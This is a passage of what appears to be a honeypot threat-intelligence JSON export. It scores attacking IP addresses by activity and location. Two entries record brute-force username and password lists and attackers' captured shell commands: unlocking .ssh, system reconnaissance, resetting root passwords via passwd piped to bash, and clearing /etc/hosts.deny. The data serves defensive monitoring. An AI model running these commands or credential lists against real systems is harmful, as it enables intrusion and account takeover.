      }
    },
    "189.180.251.35": {
      "attack_count": 2,
      "first_seen": "2026-05-07T10:18:46.270Z",
      "last_seen": "2026-05-07T10:18:58.904Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Quer\u00e9taro City",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 6.0,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T10:18:46.270000+00:00",
        "last_seen_30d": "2026-05-21T08:23:47.938000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "190.211.249.235": {
      "attack_count": 2,
      "first_seen": "2026-05-14T02:14:58.407Z",
      "last_seen": "2026-05-14T02:15:10.420Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "R\u00edo Bueno",
      "asn": 271836,
      "as_org": "Compania de Comunicaciones Coyhaique Ltda.",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T02:14:58.407000+00:00",
        "last_seen_30d": "2026-05-14T02:16:19.512000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "197.232.159.137": {
      "attack_count": 2,
      "first_seen": "2026-05-04T13:45:59.010Z",
      "last_seen": "2026-05-04T13:46:11.654Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Kitale",
      "asn": 36866,
      "as_org": "JTL",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T13:45:59.010000+00:00",
        "last_seen_30d": "2026-05-04T13:47:12.212000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "200.227.84.242": {
      "attack_count": 2,
      "first_seen": "2026-05-17T07:31:33.813Z",
      "last_seen": "2026-05-17T07:31:35.553Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": null,
      "asn": 4230,
      "as_org": "CLARO S.A.",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T07:31:33.813000+00:00",
        "last_seen_30d": "2026-05-17T07:32:38.888000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "213.108.227.87": {
      "attack_count": 2,
      "first_seen": "2026-05-17T05:18:29.856Z",
      "last_seen": "2026-05-17T05:18:42.738Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": null,
      "asn": 52020,
      "as_org": "Rudzkie Sieci Komputerowe Sp. z o.o.",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T05:18:29.856000+00:00",
        "last_seen_30d": "2026-05-17T05:19:45.474000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "213.230.92.105": {
      "attack_count": 2,
      "first_seen": "2026-05-12T13:08:35.032Z",
      "last_seen": "2026-05-12T13:08:49.271Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T13:08:35.032000+00:00",
        "last_seen_30d": "2026-05-12T13:09:54.913000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "218.71.10.122": {
      "attack_count": 2,
      "first_seen": "2026-05-19T03:15:01.977Z",
      "last_seen": "2026-05-19T03:15:15.207Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T03:15:01.977000+00:00",
        "last_seen_30d": "2026-05-19T03:16:20.388000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.186.113.41": {
      "attack_count": 2,
      "first_seen": "2026-05-09T13:02:36.893Z",
      "last_seen": "2026-05-09T13:03:08.199Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Yerevan",
      "asn": 49800,
      "as_org": "GNC-Alfa CJSC",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T13:02:36.893000+00:00",
        "last_seen_30d": "2026-05-09T13:04:10.227000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "38.51.214.77": {
      "attack_count": 2,
      "first_seen": "2026-05-06T23:17:25.902Z",
      "last_seen": "2026-05-06T23:17:38.446Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Maracaibo",
      "asn": 269730,
      "as_org": "TECNOVEN SERVICES CA",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T23:17:25.902000+00:00",
        "last_seen_30d": "2026-05-06T23:18:38.887000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.175.143.147": {
      "attack_count": 2,
      "first_seen": "2026-05-23T19:49:40.895Z",
      "last_seen": "2026-05-23T19:51:40.898Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Formosa",
      "asn": 265663,
      "as_org": "BOCA ROJA S.A.",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T19:49:40.895000+00:00",
        "last_seen_30d": "2026-05-23T19:59:36.910000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.184.68.89": {
      "attack_count": 2,
      "first_seen": "2026-05-15T17:48:18.684Z",
      "last_seen": "2026-05-15T17:48:31.612Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Bras\u00edlia",
      "asn": 269359,
      "as_org": "CANAA TELECOMUNICACOES LTDA - ME",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T17:48:18.684000+00:00",
        "last_seen_30d": "2026-05-15T17:49:35.862000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.50.49.235": {
      "attack_count": 2,
      "first_seen": "2026-05-23T04:09:28.992Z",
      "last_seen": "2026-05-23T04:10:05.155Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T04:09:28.992000+00:00",
        "last_seen_30d": "2026-05-23T04:11:13.348000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.126.241.176": {
      "attack_count": 2,
      "first_seen": "2026-05-31T07:48:10.925Z",
      "last_seen": "2026-05-31T07:48:41.581Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Changhua",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T07:48:10.925000+00:00",
        "last_seen_30d": "2026-05-31T07:49:49.865000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "61.218.132.28": {
      "attack_count": 2,
      "first_seen": "2026-05-18T14:46:45.877Z",
      "last_seen": "2026-05-18T14:46:59.529Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T14:46:45.877000+00:00",
        "last_seen_30d": "2026-05-18T14:48:08.596000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "62.89.28.170": {
      "attack_count": 2,
      "first_seen": "2026-05-23T12:03:51.561Z",
      "last_seen": "2026-05-23T12:04:22.854Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Yerevan",
      "asn": 49800,
      "as_org": "GNC-Alfa CJSC",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T12:03:51.561000+00:00",
        "last_seen_30d": "2026-05-23T12:05:27.340000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "66.212.116.43": {
      "attack_count": 2,
      "first_seen": "2026-05-10T13:33:50.470Z",
      "last_seen": "2026-05-10T13:34:03.088Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Hofuf",
      "asn": 25019,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T13:33:50.470000+00:00",
        "last_seen_30d": "2026-05-10T13:35:09.216000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "72.1.235.196": {
      "attack_count": 2,
      "first_seen": "2026-05-11T22:51:27.147Z",
      "last_seen": "2026-05-11T22:51:39.357Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Medina",
      "asn": 25019,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T22:51:27.147000+00:00",
        "last_seen_30d": "2026-05-11T22:52:43.026000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "74.244.193.63": {
      "attack_count": 2,
      "first_seen": "2026-05-23T02:23:04.729Z",
      "last_seen": "2026-05-23T02:25:04.734Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 14593,
      "as_org": "Space Exploration Technologies Corporation",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:23:04.729000+00:00",
        "last_seen_30d": "2026-05-23T02:35:52.393000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "78.128.114.118": {
      "attack_count": 2,
      "first_seen": "2026-05-06T04:34:06.576Z",
      "last_seen": "2026-05-06T04:34:07.328Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 50360,
      "as_org": "Tamatiya EOOD",
      "threat_score": 11.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 3.3,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 4,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T04:34:06.576000+00:00",
        "last_seen_30d": "2026-05-09T18:10:21.531000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Honeytrap": 4,
        "Cowrie": 2
      }
    },
    "82.205.96.69": {
      "attack_count": 2,
      "first_seen": "2026-05-13T12:59:20.251Z",
      "last_seen": "2026-05-13T12:59:32.538Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Palestine",
      "country_code": "PS",
      "city": "Ramallah",
      "asn": 12975,
      "as_org": "Palestine Telecommunications Company (PALTEL)",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T12:59:20.251000+00:00",
        "last_seen_30d": "2026-05-13T13:00:41.997000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "95.60.142.200": {
      "attack_count": 2,
      "first_seen": "2026-05-10T06:09:45.779Z",
      "last_seen": "2026-05-10T06:11:45.781Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Seville",
      "asn": 12430,
      "as_org": "Vodafone Spain",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T06:09:45.779000+00:00",
        "last_seen_30d": "2026-05-10T06:22:43.708000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "23.111.140.22": {
      "attack_count": 1332,
      "first_seen": "2026-05-02T06:19:28.706Z",
      "last_seen": "2026-05-02T06:31:27.295Z",
      "sessions": 666,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Tampa",
      "asn": 29802,
      "as_org": "HIVELOCITY, Inc.",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 2036,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T06:19:28.706000+00:00",
        "last_seen_30d": "2026-05-02T06:32:50.726000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1332,
        "Suricata": 704
      }
    },
    "50.6.3.16": {
      "attack_count": 710,
      "first_seen": "2026-05-18T09:45:37.190Z",
      "last_seen": "2026-05-19T08:32:49.461Z",
      "sessions": 355,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 1137,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T09:45:37.190000+00:00",
        "last_seen_30d": "2026-05-19T08:33:58.923000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 710,
        "Suricata": 427
      }
    },
    "81.192.46.36": {
      "attack_count": 548,
      "first_seen": "2026-05-21T17:55:10.426Z",
      "last_seen": "2026-05-29T22:27:31.549Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "nagios",
        "sangfor",
        "wangzherongyao",
        "astra",
        "chromeuser",
        "dev",
        "dp",
        "fedora",
        "icinga2",
        "james",
        "lucas",
        "mehedi",
        "meng",
        "nomad",
        "oracle",
        "oracle2",
        "postgres",
        "priya"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "password",
        "1218",
        "123!@#",
        "123456789",
        "123QWEasdZXC",
        "202424",
        "232323",
        "37games",
        "990909",
        "PASSWORD",
        "Qweasd123456",
        "Qwer@2025",
        "Qwerty123123",
        "Qwerty123456789",
        "ROOT",
        "Sz123456!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"admin\\nOOarl24HnLlb\\nOOarl24HnLlb\\n\"|passwd",
        "echo \"root:EXZnTHiHkfWu\"|chpasswd|bash",
        "echo \"sangfor\\nhwCexshSJbWh\\nhwCexshSJbWh\\n\"|passwd",
        "echo \"wangzherongyao\\ncMdFuOBmRyLx\\ncMdFuOBmRyLx\\n\"|passwd",
        "echo -e \"admin\\nOOarl24HnLlb\\nOOarl24HnLlb\"|passwd|bash",
        "echo -e \"sangfor\\nhwCexshSJbWh\\nhwCexshSJbWh\"|passwd|bash",
        "echo -e \"wangzherongyao\\ncMdFuOBmRyLx\\ncMdFuOBmRyLx\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Rabat",
      "asn": 6713,
      "as_org": "Itissalat Al-MAGHRIB",
      "threat_score": 44.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.4,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 694,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T17:55:10.426000+00:00",
        "last_seen_30d": "2026-05-29T22:28:32.923000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 548,
        "Suricata": 146
      }
    },
    "125.247.116.158": {
      "attack_count": 484,
      "first_seen": "2026-05-12T08:31:21.515Z",
      "last_seen": "2026-05-24T00:32:35.644Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin",
        "admin1",
        "administrator",
        "bodega",
        "deploy",
        "ftpuser",
        "server",
        "appldev",
        "csgoserver",
        "erp",
        "es",
        "guest",
        "newtest",
        "oracle",
        "sysadmin",
        "test",
        "test10"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "admin@123",
        "password",
        "000000",
        "1111",
        "1234QWer",
        "123qwe",
        "123qwe!@",
        "123qweASD",
        "19999999",
        "1qaz@WSX",
        "Admin@2022",
        "P@$$w0rd",
        "P@ssw0rd!!",
        "Vps@123",
        "admin.12345",
        "admin@2018",
        "adminadmin1234"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nCLi8HyEZIfsV\\nCLi8HyEZIfsV\\n\"|passwd",
        "echo \"123456\\nKbEn6dOzED9f\\nKbEn6dOzED9f\\n\"|passwd",
        "echo \"ftpuser1\\nOCrvdemcDA9Y\\nOCrvdemcDA9Y\\n\"|passwd",
        "echo \"root@123\\nFtRF6SCWIw7u\\nFtRF6SCWIw7u\\n\"|passwd",
        "echo -e \"123456\\nCLi8HyEZIfsV\\nCLi8HyEZIfsV\"|passwd|bash",
        "echo -e \"123456\\nKbEn6dOzED9f\\nKbEn6dOzED9f\"|passwd|bash",
        "echo -e \"ftpuser1\\nOCrvdemcDA9Y\\nOCrvdemcDA9Y\"|passwd|bash",
        "echo -e \"root@123\\nFtRF6SCWIw7u\\nFtRF6SCWIw7u\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
